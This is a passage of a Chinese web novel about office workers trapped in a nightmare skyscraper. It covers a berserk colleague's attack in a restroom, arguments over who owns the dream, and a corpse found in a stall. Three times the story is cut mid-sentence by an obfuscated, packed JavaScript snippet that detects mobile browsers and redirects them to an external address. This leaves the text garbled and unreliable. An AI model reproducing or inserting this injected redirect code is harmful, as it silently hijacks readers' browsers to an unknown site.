从含晦嘴里听说这些事迹的苇思航倒吸一口冷气。 换了她是谢阳,估计想上厕所都得憋着了吧! 只能说,可能道长太欠缺职场经验了…… 这次换了她出马,战术变得迂回了许多。 不过她本来没既希望于递上一条咖啡就能把对方引来,还得从长计议…… 然而,事情进展的比她想象中要顺利。 门口传来了脚步声。苇思航和含晦对视一眼。 是谁来了? * 谢阳头昏脑胀,觉得自己需要冷静一下。 咖啡的苦香冲进鼻腔,重新打开了感官似的,他闻到周围的血腥气——他刚才埋头苦干,竟然没有注意。 看到倒在一旁,头正转向他这一边的同事,他的胸口破了一个大洞,好似被什么东西穿胸而过,那东西却已经不见了。同事死前惊愕的表情像是咖啡未散尽的热气一般,谢阳心里想的却是。 挺好,可以舒舒服服睡一觉了…… 而他,顺道少了一个竞争对手,谢了——这位,正是第一次问他怎么还不走的那个同事,谢阳走到他的身边,冷静地掏出他的笔记本,用死人的指纹解锁后,看到了对方写到一半的企划案。 我是废物我是废物 我是废物 我是废物我是废物我是废物 谢阳这次眉毛也不抬,这个排版比他的好看——不错,他可以参考一下——他想,随手改了文件名字,发给自己,随后删掉了那条记录。 他索性搬来自己的电脑,席地坐在死人旁边,继续修改。 他的头越垂越低,一直垂到胸前,不动了。 突然到来的灵感,不过是困意袭来的错觉,手指落到键盘上,打出一长串“,,,,,” 耳边鼓噪的声音由远及近,让他突然惊醒,是有人操纵着吸尘器,正在清扫现场,谢阳恢复了意识,慌忙擦去眼角留下的泪痕。 手上留下了红色的痕迹——是流鼻血了吗? 他觉得头痛欲裂,心中更加烦躁。可好巧不巧,一个绝佳的灵感猛烈爆发,他突然起身,抱着电脑匆匆离开。 必须找一个足够安静的地方……他像一只无头苍蝇抱着电脑在公司各处逡巡,鬼使神差一般,他来到了男厕门口。 他走进男厕,忍着难闻的气味,打开一个个隔间。 他没注意,进来的时候,墙上有一个计时器一样的东西,此时还剩下两分三十秒。 他推开一扇又一扇隔间的门,每一间都不甚满意。 可这已经是他能在这栋楼里找到最私密,最不会担心被打扰的地方了。在之前,有的时候他太累了,会躲进其中一个隔间,放下马桶盖坐下,靠着墙小睡上一会。 很难说现在驱使着他的,没有对睡眠的本能的渴望。 现在,那个尽头的隔间,门从里面锁上了。门下漏出的影子说明里面有人。 一股无法抑制的怒火突然从他心上爆发了。 完全控制不了自己,他开始疯狂砸门,动作毫无章法,整排隔间都跟着震动起来。毫无觉察眼里淌下鲜血一样的红色。 他的工作!他的位置!他的隔间! 任何人都无法夺走! 22. 21. 黑池(十四) “科长,你冷静一下……” “尉迟龙鸣!你醒醒!” 不知所云的话从隔间门内传来,“谢阳”粗喘着,只想把眼前的一切全都撕碎! 他表情狰狞,两行血泪从暴凸的眼中流下,衬得他如同来自地狱的恶鬼,外部的一切声音都被屏蔽了,心脏在抽痛,手上冒出青筋,以几乎不像正常人的力气,一下一下地擂着薄薄的胶合板门,整一排隔门都随着他失去理智的击打震颤哀鸣。 苇思航和含晦躲在最末的隔间内,尝试唤醒尉迟龙鸣的理智无果,恐惧地咬紧牙关,一边思考着对策。 金属插销在一下又一下的猛烈攻势之下,眼看就要崩溃脱落,含晦手里拿着拖把,苇思航手里拿着清洁剂的喷壶——他们从隔间里的保洁推车里找到的唯二感觉能用上的东西——胆战心惊地对着门外,却只如螳臂当车一般。 含晦手中握着拖把,语带犹豫:“苇姐,要不咱俩换换……你拿这个,打科长,我实在下不去手……” 苇思航又气又无语:“都什么时候了!” “不是你说的吗!他不会变邪灵——现在是怎么回事?” 含晦嗫嚅着抱歉。 苇思航已经不知道是该怪含晦乐观,还是怪自己乌鸦嘴了。他们谁也想不到,尉迟龙鸣会这样突然开启暴走模式。 “你不是也有特殊能力吗?倒是用啊!” 含晦道:“我的能力不是攻击型的,倒是可以短暂提高我的防御能力,阻他一阵……有了,苇姐,不如这样,你现在赶紧踩着马桶翻到另一个隔间去,我把门打开把他拖住,你借机逃出去。” 苇思航皱起眉头:“我走了,那你呢?” “我防御提升,能多和他缠斗一会,尽量多拖一会时间……到时计时器冷却时间也到了,我找个机会,跳去另一个楼层,到了另一层,或许科长少受一些人物设定的影响,能清醒过来呢?” 苇思航觉得他这话不无道理。当下也不矫情,踩在马桶盖上,含晦在下面托了她一把。 居高临下骑在两个隔间中间,苇思航得以看见了门外,此时已经近乎完全丧失理智的,尉迟龙鸣的脸,某种阴森的黑气缠绕在他周围,让他此刻直如修罗厉鬼一般。他现在眼里压根看不见别的,满心只剩下夺回最后一个隔间的执念。 说是不矫情,看过眼前的景象,苇思航还是不放心了,转头问含晦:“你一个人顶的住吗?” 含晦抬头,黄符之下嘴角微扬,冲她笑笑:“能。一分钟而已,我总是可以的。” 一分钟,厕所的计时器的冷却时间还剩一分钟,他们至少还要在这一层待够一分钟,才能跳转到下一个楼层。 含晦下定决心,一声低喝,便不再看苇思航,一手结印,一手在空中画符,金色的字迹浮现在半空,马上朝他的面门袭去,转眼与他脸上的黄符相融。 处理好这一切,他把拖把头拆下,手里握住拖把杆,深吸一口气,自己侧到一边,瞅准时机,把门打开,门外尉迟龙鸣控制不住沉重的身体,炮弹一样冲进隔间。 “快走!” 含晦嘴上说不忍,手中长棍马上在尉迟龙鸣头上招呼一记,却是辣手。 苇思航不敢再看,跳到另一个隔间马桶盖上,一旁传来打斗的声音,仿佛她此时混乱的心跳。 她刚踏出倒数第二个隔间,脚步顿住。 一个人影也从尽头隔间里被甩飞了出来。 正是不敌的含晦。 尉迟龙鸣高大的身影随即从隔间内走出,如同一尊杀神。 很明显,他们大大低估了尉迟龙鸣的战斗力。 尉迟龙鸣双眼血红,理智陷落至邪灵边缘,如今只剩下破坏的欲望。 那一分钟显得无比漫长。 尽管含晦奋起反抗,却因为过于悬殊的实力,很快被压制。 手中的拖把杆滚落到一边。 还剩30秒。 尉迟龙鸣将含晦摁倒在地,雨点一样的拳头落到含晦身上。 含晦脸上的黄符凝聚起一道微弱的护体光幕,勉力抵挡着尉迟龙鸣的攻势,对方察觉到隐隐的阻力,愈发被激怒了。 “是不是你??是不是你??”尉迟龙鸣癫狂地叫着,下一拳,将那光幕打的粉碎。 “是不是你改了我的企划?” 还剩20秒。 含晦被抓着头发从地上提起,接着往洗手台上狠狠一砸! 血沫从他的眼里和嘴角留下来,脸上的黄符有了松动的迹象,仿佛一张颤抖的冥纸。 “快……走……” 含晦的眼睛朝着门口的方向,被染红的视野中,苇思航的身影还矗立在那里。 苇思航确实很想转身就走,像他们一早说好的那样。 如果她不曾亲眼看到纯粹的暴力。 这和她在灵界中见到的所有超自然现象都不一样。 或许只有经历过的人才知道,在那一刻,其实你是根本反应不过来的。 苇思航钉在原地。而后,愤怒像是烧灼的烈火,从脚底升起。 还剩10秒。 不间断的沉重的击打□□的声音传来,那声音比任何鬼怪都要恐怖,含晦失去了任何抵抗能力,看起来要被尉迟龙鸣活活打死了。 苇思航找不到别的可用的武器,情急之下,抖着手摘下另一只鞋子,准备趁着对方不备,从尉迟龙鸣身后袭击。 她很清楚,这一击并无法改变什么,但至少可以转移尉迟龙鸣的注意力,或许吧……她那时再转身跑开,去找门口墙上的计时器,如果运气够好的话…… 在她采取行动之前,另一个人影比她更快。 “谢阳,放开梁栋!”一个女声的尖叫。 不知何时,男厕里多出第四个人。 苇思航先是一愣,转头去看,意料之外地认出,这位是——小晴。 之前被刘姐欺负的那个低眉顺眼的小姑娘,现在像变了一个人似的,凛然不惧地朝着尉迟龙鸣一步步走近。 值得注意的是,她的手里拿着银色的笔记本电脑。 尉迟龙鸣迟缓地转过头,涣散的目光在笔电上凝固。 要的就是这个效果。下一秒,当着尉迟龙鸣的面,小晴把笔电丢进洗手池,接着,打开了水龙头。 “放开他!” “啊啊啊啊啊——!” 尉迟龙鸣发出惨无人道的哀嚎,果然放开了含晦,赶来扑救笔记本。他全身都在抖,好像刚刚被虐打的人是他……手指颤抖地尝试开机。 他的企划案! 小晴趁这个空当,冲过去扶起奄奄一息的含晦。 苇思航惊讶地看着眼前发生的一切,不过并没有因此忘记自己的使命,她朝出口退去,在墙上找到计时器。时间到了,她果断拧转,刻度随意——只要离开这一层就好! 新的计时开始了,苇思航畏惧地看着尉迟龙鸣,生怕他会再次发狂。 哗哗的水流声中,尉迟龙鸣捧着电脑屏幕,目光直勾勾地盯着屏幕,不知在想什么。 水渗进了机器,显示器出现了花屏,提示正在尝试连接服务器,开机图标滴溜溜地转着。 离开了本楼层,尉迟龙鸣和“谢阳”的人设也像是断开了连接似的,更重要的是,他的被动特殊能力“卫生间五分钟”开始生效。 尉迟龙鸣的脑中开始出现一段能力的介绍。 “梦魇必拉榜鉴赏家·i人の神圣领域” 介绍:正如下水道是一个城市的良心,厕所是每个梦魇的缓冲带,还有什么比在危机时刻抽空蹲坑更爽的呢?在灵界寻找一个温馨厕所的你,谁又能说跟寻找美食的米其林鉴赏家有什么本质的区别?正如食品安全重如山,厕所卫生也不容有失! 触发要求:连续待在卫生间五分钟完成打卡,可获得基础功能“灵魂净化”,精神防御力根据具体卫生状况获得随机增幅(别怪没有提醒,也有可能出现负数哦!) 随机增益Lv.3:塞翁失马/灵感顿悟/时间膨胀 使用次数Lv.3:每天三次 冷却时间Lv.5:30分钟< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15700077|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> ……这是什么东西? 脑子像被狠敲一记,先是模糊,尖锐的耳鸣,慢慢变得清晰起来。 他再次听到哗哗的流水声。顺手把水龙头关上,目光上移,看到眼前终于完成重启的电脑,写了一半的缝合企划案支离破碎地出现在屏幕上。 我是废物,,,,, 我是 我是废物我是废物!!!我是废物 谁是废物? 反正不可能是他——尉迟龙鸣。 真是莫名其妙! 他随手将电脑扔到一边,一瞥眼,看到左右各投来惊疑不定的目光。 “……我怎么在这里?”尉迟龙鸣开口,声音十分嘶哑。 又见到一张熟悉的黄纸,和它奄奄一息的主人,他也大惊。 “含晦?你怎么了?” * 尉迟龙鸣奇迹般的清醒了过来,苇思航顿时觉得还拿着一只鞋的自己相当难做,像是抠脚抠到一半,被迫入镜某温情栏目。 含晦气息奄奄,身边围着小晴和尉迟龙鸣,像少年漫画里牺牲自己的白月光临死前那样,朝着尉迟龙鸣露出虚弱的笑意:“太好了,科长,我就知道……你终于醒了。” “含,含晦,对不起……”尉迟龙鸣很快从小晴充满敌意的目光中,从镜子里映出两行血泪的自己的脸上,明白了不久前发生的一切。 “不怪你,科长,”含晦恢复了一些力气,坐起上半身,举起自己的手,“你看。” 顺带一提,他脸上那道顽固的黄符自行脱落了下来,露出那之后一张清秀的脸,果真仙风道骨。那黄符变大了一些,变成一道黄色的幡旗,顺着他的手掌一直缚到小臂上。 “算是因祸得福,我的特殊能力升级了。”他宣布这个好消息,“今后我能写更长的buff了。” 含晦脸上绽开笑意,目光越过身边两人,看向门口的方向。 “……苇姐。” 他口中的“苇姐”苇思航此时坐在洗手台上,哼哧哼哧给自己穿上鞋子,突然被cue让她措手不及,三人的目光转过来,她手一抖,鞋子又飞了出去。 她唯有尬笑以对。 尉迟龙鸣看了苇思航一眼,疑惑去看含晦:“……谁?” 他的记忆停留在被吸入梦魇之前。那个时候的苇思航可不长现在这样,所以一时没有反应过来。 他惊讶了:“你是苇思航?之前那个胖女人?——这里也叫苇思航?” 苇思航无言以对:“……嗯。” 尉迟龙鸣迅速找回了领头人老大哥的感觉,从刚才的温情场景中抽离,顺带着把一旁的小晴也审视了遍。 “这又是谁?” 苇思航对这个问题也很好奇,伸长了脖子。 含晦一顿,道:“这是小晴,我……不,梁栋的女朋友。” 小晴极力镇定的目光扫过剩下几人,鼻尖上渗出一片细汗:“你们好。” * 如果不是因为小晴拿着笔记本电脑出现,很难说刚才的事情会如何收尾。恐怕尉迟龙鸣和含晦会前后堕入邪灵,被梦魇同化,就再也没有走出灵坟的希望了。 苇思航本以为,是小晴后来加入了他们,然而,经过含晦解释,才知在自己被含晦救下之前,含晦就和小晴有了交集。 一开始仅仅是男女朋友的人设产生的牵绊,二人很快都有了觉醒的迹象,在梦魇中彼此扶持。也是因为小晴今天当值,负责打扫卫生间,机缘巧合之下发现了厕所的秘密,从此和含晦把男厕当作了据点。 四人的目标都是自救,逃出灵坟,因此很快达成一致。 尉迟龙鸣对于苇思航前后不一耿耿于怀,虽然听过后者解释,却还是让尉迟龙鸣产生了某种信任危机。 “这样看来,我们之中,只有你跟梦魇现实中存在联系,”尉迟龙鸣边思索边道,“你让我们寻找梦魇主人,我同意,可是是不是先要明确一个前提,就是说……我们怎么能确定,你不是梦魇主人本人?” 苇思航:“……” 23. 22. 黑池(十五) “……我们怎么能确定,你不是梦魇主人本人?” 苇思航:“……” 打死都想不到她还会被问到这个问题。 “不是没有可能啊,梦主现在还在梦魇里游荡,任何梦灵都有嫌疑!” 尉迟龙鸣冲她扬扬下巴,不客气道:“说话啊!” 苇思航反唇相讥:“现在想起来怀疑了?但凡不久前有点这意识,也不至于写不出企划案来这儿哭!” 尉迟龙鸣:“……” 谁说不是团宠·含晦出来打圆场:“好了,好了。”他此时无奈地看向尉迟龙鸣,一锤定音:“科长,别闹了。” 尉迟龙鸣想想也是。 信苇思航是梦主,不如信她是秦始皇! 他本来是因为觉得小团体内的中心地位受到苇思航威胁,所以才有这一着,故意打压她来着。 不得不承认,尉迟龙鸣之前受到梦魇的蛊惑,或许背后也有他自己的原因…… “那经历了这么多,你根据你的经验,估计也大概能猜到梦主是谁了吧?” 苇思航再次:“……” 要说她此时的感觉,就好像做着小组作业,半路突然加入的某人开始指手画脚。 “不是吧?这么简单都不会?”——但是他明明什么贡献都没有做! 她现在都有点想回到8层把尉迟龙鸣塞回去了…… 关键是,剩下两个人,含晦和小晴,竟也紧张而期待地将她望着。 毕竟,按道理来说,她确实是现在梦主的唯一知情人。 “咳,其实吧……”苇思航清清喉咙,“我上班的时候也是小透明来着。” 她的真实职级又不是P8!对于大部分同事只是点头之交,现实中尚且有许多人的脸和名字都对不上号,更不要说在经过梦主外化改造一番的梦魇中了。 不过,正是因为梦魇和现实中不同,或许可以根据梦主构思这个梦魇的细节,猜测他在现实中的身份? 听了苇思航的回答,尉迟龙鸣明显不满意:“切。” 含晦和小晴看起来也有点失望,含晦安慰道:“没事,可以慢慢想。” 小晴点头。 “咱们现在在几层?安全吗?”苇思航道,其实明明刚刚是她自己转的计时器……这时计时已经结束了。 含晦看着他的监控电脑的屏幕,吐出一个让人安心又不寒而栗的答案:“第六层——安全,外面已经没有活人了。” 准确地说,剩下自我意识的活灵……如果有这种说法的话。 整个第六层被屠戮殆尽,剩下百无聊赖的邪灵在外面游荡,残余的潜意识让他们避开了厕所,给剩下四人一个相对安全的空间。 苇思航跟着去看含晦的电脑,满屏的监控,外面的场景一览无余,给屏幕前的人一种奢侈的安全感,那种感觉就像是上帝,又或是游戏后台的管理员,简直就是bug级别的存在……苇思航不禁又暗暗惊奇。 她指着右上角,一个写着“打卡日志”的地方,突发奇想:“这里,是不是有所有员工信息啊?” “没注意,我看看……” 含晦操纵着鼠标,移动到右上角。几十张大头贴整整齐齐地跳出来,每张照片的下方标注了打卡状态。 “苇姐,这里可以选,你想看哪一层的?” “我原先是哪一层的,你知道吗?” 含晦颇为熟练地捣鼓了下。看上去像个道长,又像个码农,很可能有相关的天赋——他的特殊能力就叫“符篆编程师” “4层。” 苇思航想了想:“那就4层吧。” 这倒是一个办法,比对着员工花名册,找出梦魇中和现实里不一样的地方,根据这些线索,或许就能从中锁定梦主的身份? 毫无疑问,这事只有苇思航能干。 一旁的尉迟龙鸣又不爽了,哼道:“信息不对称,最容易搞鬼,万一你知道什么不告诉我们,怎么办?” 这次苇思航一股无名火冒起,直接呛了过去:“对啊,你能怎么办?” “……” 他的确什么都做不了啊。或许正是因为自进入这个梦魇后,无力感一直笼罩着他,找回理智之后,他还迫切想要找回一点存在感。 含晦只能又出来打圆场:“好了,好了。”——也不知道好个什么劲——“苇姐,你别跟科长一般见识,他都20世纪生人了……” “20世纪?”苇思航注意力转移,随口问:“他哪年的?” 哪年的老古董?怪不得一股爹味呢? 含晦老实答:“好像是91年的。” “……” 确实也是20世纪没错啦…… 不是,兄弟,英年早逝啊! 苇思航的眼中浮现同情。 尉迟龙鸣一哽,气势顿时矮了一半。含晦站到苇思航的阵营,叫他愈发不满,提高声音道:“含晦,别怪我没提醒你,小心被她骗第二次,到时候连哭都来不及!” 他说的第一次——还指那个苏秀禾的梦魇。尉迟龙鸣好像认定了,她是主动隐藏身份来的,苇思航翻了个白眼。 尉迟龙鸣越说越激动:“你不觉得奇怪吗?梦魇中如此险恶,她没有出众的精神力,而且与梦魇有现实联结,明明是最该受到影响的人,却每次都能全身而退,甚至还能找到咱们,摆出一副救世主的模样!好像裁员对她来说好像一点影响也没有!这正常吗?” 暴风雨一样的质问相当动摇人心,虽然不是直接冲着苇思航而来,本人也感到了话语中的威力,甚至,她觉得尉迟龙鸣的怀疑也不无道理…… 但是她要怎么告诉其他人,她并不是没有遭遇过梦魇的袭击,乃至已经死过一次了呢…… 不,她才懒得解释。大不了一拍两散。 等等…… 假如不是含晦如定海神针一般,刚聚起来的小团体是否真就从此分道扬镳,真还难说。 尉迟龙鸣话音落下,在房间里留下一段让人尴尬的沉默,直到含晦重新开口。 “科长,我没有办法解答你的问题,我相信,苇姐一定有她的秘密,但那不重要。” 他的话是同时对着剩下的人说的。 “你稍微一想就能明白,她不可能是梦主本人,就凭她从没有做过对我们不利的事。换句话说,假如那万分之一的可能成真,她是,我们早就没有活路了。” “本来想要活着从灵坟中脱身,就已经很难办到了,大家齐心协力,才有一丝生机,如果为了私心猜疑,未来的路只会更加难走。我希望我们内部停止猜忌,从此刻起可以成为大家的共识。” 剩下三人中,小晴连连点头,苇思航低头不语,含晦转向一脸菜色的尉迟龙鸣:“科长,你可以答应我吗?” 含晦头上仿佛冒出圣光,语气诚恳,令人信服……迟疑片刻,尉迟龙鸣终于通人性一样妥协了。 “知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705141|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道了。” 含晦朝他施一礼,尉迟龙鸣总算捡起科长的架子,暂时安生下来。 小晴旁观着大气都不敢出,含晦不急不缓,接着又冲苇思航行了个一模一样的礼,忽听后者道。 “……假如我是梦主,对裁员该是什么反应?” 含晦抬起头来,一愣。 他的第一反应,当然是她还没有消气,听她话里那意思,似乎还纠结于刚才尉迟龙鸣的控诉,急忙开导:“苇姐,你……” 他的话还没说完,被苇思航打断,她刚才一直低头默默思索,此时抬起头来,眼睛亮晶晶的,半点怨忿不见,反倒有点兴奋地追问含晦:“你觉得呢?” “当然,当然是害怕轮到自己,”含晦道,“魇境给予的无限放大的外化能力,外化人心中最深的恐惧……” 他说着,明明是常识,语气却渐渐变得不确定了起来。 “你说的没错,可是现在魇境已经名存实亡,我们在梦主构建的灵坟当中,梦主本人已经取代了魇境的主导地位。”苇思航道,“如果说,之前梦主也是玩家,他现在更像是……游戏管理员?我反倒觉得,‘被裁员’的恐惧,来源于设定,并不能代表梦主本人的态度,他更像是以此折磨着身在其中的灵体。” 含晦忖道:“可是,我记得你说过?你看到了未来现实中发生的事情,公司发生了裁员事件,梦主杀完人,然后自杀……” “你会因为被裁员,所以杀掉和你一样可怜的同事吗?” 含晦一愣:“好像……没有这个道理。” 尉迟龙鸣插话进来:“怎么不可能?很明显,这梦主就是个变态啊!因为被裁所以报复社会,新闻上不是有嘛!” 含晦转头询问苇思航:“你怎么觉得?” 苇思航也颇有默契地忽略了尉迟龙鸣,继续道:“我觉得,裁员是故事背景,不是导火索,梦主想要杀人,背后很可能有别的动机,只是我们现在还不清楚。直到目前,这个梦魇已经展开得太大,吸收了太多灵体,结构太庞杂……导致掩盖了梦魇中真正的主线。” 曾经见过的那张打着红叉的裁员名单突然出现在脑海。 她得找回来,那一定是很重要的线索! “我有一种感觉,他本人不一定在裁员名单里,”苇思航道,“梦魇对于被裁员恐惧控制的灵体,更像一种观察者的心态,甚至带着轻微的蔑视,像在策划一场恶作剧。” 尉迟龙鸣膝盖中了一箭,罕见帮腔道:“对啊!所以说是变态嘛!能想出企划案淘汰赛的,能是正常人干出来的事?他……” 尉迟龙鸣话音刚落,突然一个激灵,一阵电流通往天灵盖。 “什么淘汰赛?谁的主意?”苇思航和含晦果然追问。 “是……徐总……”尉迟龙鸣声音飘忽。 “徐总?是这个人嘛?” 一直在旁静静吃瓜的小晴此时突然发话,手指着电脑屏幕。 一排排证件照的数码花名册在屏幕上展示着,按照职级分布,总经理的位置在第一个。 小晴看了笑道:“这位徐总看来平时都不打卡的哦,一个月12次异常了,HR也照扣工资吗?” 剩下三人听了,忙都凑过去看,回忆着自己“剧本”里跟徐总有关的内容,努力想把人和脸对上号。 苇思航被含晦和尉迟龙鸣夹在中间,看了半晌,皱起眉头。 “奇怪,这人……不是徐总啊?” 24. 23. 黑池(十六) “奇怪,这人……不是徐总啊?” “那有什么好奇怪的,‘徐总’只是一个角色,皮下可能是某个倒霉的梦灵,或者幽灵呗!”尉迟龙鸣道。 “不是……我是说,这个人我认识。”苇思航眉头紧皱,“但他不是‘徐总’。” “我之前就觉得奇怪,我们公司的总经理不姓徐。”苇思航继续道,指着屏幕上的照片,“这人是财务部的,叫徐振,比我晚进公司一年,职级跟我一样。” 几人交换一个眼神。 那这是……找到了? 梦魇中和现实不一样的突破口! “他就是梦主!”不等其他人说话,尉迟龙鸣当即宣布,“这就说的通了!梦境里可能对自己的形象进行美化,所以他就成了对人生杀予夺的‘徐总’!” 他的语气激愤,很难说其中没有掺杂一些还身为“谢阳”的时候的私人感情。 苇思航嘴唇动了动,想要说什么,最终什么也没说。徐振变成“徐总”,是很奇怪,不过自己不也和现实中不一样,莫名其妙成了P8吗? 只是她要是现在拿这件事出来反驳,免不了又把矛盾绕回自己身上,鉴于刚才好不容易才平息的战火,想想还是算了。 毋庸置疑的一件事是,“徐总”一定是个重要的线索。 尉迟龙鸣忙着问含晦:“这个梦灵现在还活着吗?” 含晦从屏幕上调开一个页面,看起来像是内部通讯系统,其中可以看到每个人的状态,徐振的头像还亮着,旁边显示“忙碌”。 含晦回答:“应该还在。” 尉迟龙鸣忍不住拍起手来,语气中不无欣喜:“果然!那还等什么,我们现在就去四层找他!只要杀了他,他醒过来,灵坟就可以结束了吧?” 含晦应了,小晴一直跟着含晦,无不可的,苇思航心里有事,没说什么,也等于默认了。 四层肯定是要去的。苇思航本来也放不下落在那里的裁员名单,只不过…… 如果徐振真的是梦主,按照她原本的计划,她要赶在尉迟龙鸣前面下手,这样才能接管这个梦境,覆盖灵界中的梦茧大厦,驾驶地下停车场的0373顺利逃出去。 本来就已经够复杂的了!又因为尉迟龙鸣的疑神疑鬼,搞得她现在不好向同伴直白告知自己的诉求,以至于前路变得更加扑朔迷离了…… 尉迟龙鸣摩拳擦掌,显得十分兴奋,他憋屈了这么久,早想大干一场。 “还等什么呢,准备去四层!我去会会那个徐总,你们三个就在这里等我!” 该说不说,尉迟龙鸣虽然有些爹味,但遇事也是真上。 含晦不同意:“你一个人太危险了,我和你一起去。” 这回小晴急道:“不行!” 苇思航神游天外,这时回过神来:“我去。” ——字面意思,她说她也要去。当然不可能拱手让出直面梦主的机会! 尉迟龙鸣闻言,单独看了她一眼,不凉不热道:“你怎么去?” 苇思航不服就是怼:“你什么意思?” 这次尉迟龙鸣倒不是故意为难她,而是指了指她脚下,摊手:“不是,我是说,你连鞋也没有。” 苇思航都快忘了:“……” 她穿着一只鞋,另一只鞋,被她丢在了诡异的电梯里……现在两只脚一高一低,自动站成了“稍息”的姿势。 没成想计划刚一确定,执行就出了问题。 男厕内陷入一阵沉默。 滴答,滴答。 小晴最先发现,失声道:“计时器怎么了?” 滴答,滴答,声音还在继续。 不久前归零的计时器,竟然开始自行计时!从零开始,上面的刻度随着过去的每一秒同步发生着偏转。 四人的身影都凝固了。他们刚刚都在这里,没有移开彼此的视线半步,动了计时器的……会是谁? 难道厕所里,除了他们之外,还有别人? 这个念头冒出,顿时叫人汗毛直立。 “咚”的一声。 什么东西滑落到地上的声音,让人的心脏也跟着漏跳一拍。 顺着声音,他们一齐看向面前一排紧闭的隔间门,谜底就在眼前。 滴答,滴答。血液滴落,像是没有拧紧的水龙头,和不间断计时的时针构成了欢快的双重奏。 一只脚从隔间下方横戳出来,旁边聚起一小滩阴影一样的血泊 * “这应该是六层的人。”含晦道,对隔间内突然出现的尸体下了定论,“……暂时看不出来是谁。” 这人应当是在他们刚跳转来这层的时候就出现在隔间里的,只是隔间门都关着,直到刚刚尸体滑落下来,发出声音,这才引起了这几人的注意。 有尸体的隔间从里面被反锁了,打不开。 尉迟龙鸣第一个想到,可以站到旁边的隔间马桶上朝里窥探。他也那样做了。 “……变态啊。”他留下一句。一开始苇思航以为他是在说自己,直到她也忍不住好奇心,站到隔间的马桶上—— 那是一个男人,身子歪倒在马桶盖上,新鲜的血液正从他的喉咙处缓慢地流出来,能看出来那些血液的流速已经很慢了,因为失血过多,他的全身皮肤极其苍白。凶器大概是他手上的薄刀片,看起来是从刮毛刀上拆下来的——这很好猜,因为他另一只手上就拿着刮毛刀。这就不得不提到他的装束了,他上半身紧紧勒着一件女士内衣,西裤掉在皮鞋上,腿毛刮了一半,残余着惊恐表情的脸上画着乱七八糟的浓妆。 因为他脸上的浓妆,根本看不出他本来的样子,从而也就无法得知他的身份。 如果想知道,当然也有办法。可那意味着要从里面打开隔间的门。 麻不麻烦不说,更重要的是。 “当心尸变。” 幽灵在死后变成邪灵,只是时间问题,当然这人也可能只是梦灵。 被告知“克服恐惧的最好方法是直面它”,因此好不容易才鼓起勇气站上马桶盖观望的小晴爆发一声尖叫:“啊啊啊他动了!” 大概是尸体上残留的生理反应,他的脚抽搐了一下。 ——被认为是即将变身邪灵的前兆。 小晴心有余悸,不敢再看。 总之大家一致同意,暂时先不管那具尸体了。寄希望于他们离开这第六层的时候,尸体会随之消失。 尉迟龙鸣语气肯定:“我知道了,记得之前听说,男厕里有一个变态……是不是就是他啊?” 一段陌生的情节在此时被动塞进苇思航的脑海里。 他们公司的男厕里据说有个变态,不是从哪里取得偷藏的女士内衣被发现了,公司里的女同事人人自危。 这件事现实里也有吗?苇思航却突然想不起来了了。 小晴附和:“看那模样,估计是。” 含晦也点点头。 尉迟龙鸣又道:“我估计他本来是想在厕所躲躲,结果被梦魇蛊惑失去理智,自杀了……” 含晦却摇摇头:“不一定。” 凭借隔间里散落的粉色条纹领带,含晦在数据库中得以基本确认死者的身份。 尉迟龙鸣一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709855|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愣。 含晦指着屏幕道:“这里录入的他的指纹在左手,说明他很有可能是个左撇子。刀片却在右手,不能排除他杀的嫌疑。” 尉迟龙鸣被驳了面子,冷哼:“挺扯的呢,在灵坟里讨论什么自杀他杀,那肯定都是他杀啊!那个杀千刀的梦主!” 含晦默,这才反应过来,道:“我不是那个意思……” 尉迟龙鸣心情不愉,像是没听见含晦的找补,突然骂出声道:“那个计时器究竟是什么情况啊!声音转的我脑仁儿疼!” 滴答,滴答,滴答。 那声音不大,可从未停下,机械而匀速地朝前推进,像是什么都无法让它停止。 隔间里出现的尸体像一个恐怖的小插曲,不明所以的计时则是另一种更为急迫的危机。 这甚至不是倒计时,不知道它的终点在哪里。会停吗?会在什么时候停下? 指针停下的时候,又会发生什么? 卫生间里的气氛比刚才发现尸体时还要紧张。 含晦盯着电脑屏幕,右下角显示着时间。 在正计时6分钟后,计时器发出一声提示的蜂鸣。 周围发生了细微的变化。隔间里的尸体消失了。 不久后,含晦面色凝重地宣布:“我们现在在第十层。” 计时也在这时重新开始。 * 厕所的规则发生了改变,这是谁也没能预料到的事。 从倒计时冷却时间变成了正计时,时间一到,层数会自动跳转。 跳转是随机的,他们无法自主选择楼层,并且只能在新的楼层待上相应的时间。 第十层,他们待了10分钟;随后跳转回了第八层,尉迟龙鸣属于的那一层,这八分钟里,尉迟龙鸣又险些失去理智,又使用了一次刷新的“厕所五分钟”才平安度过。 又一次跳转,这次到了13层。 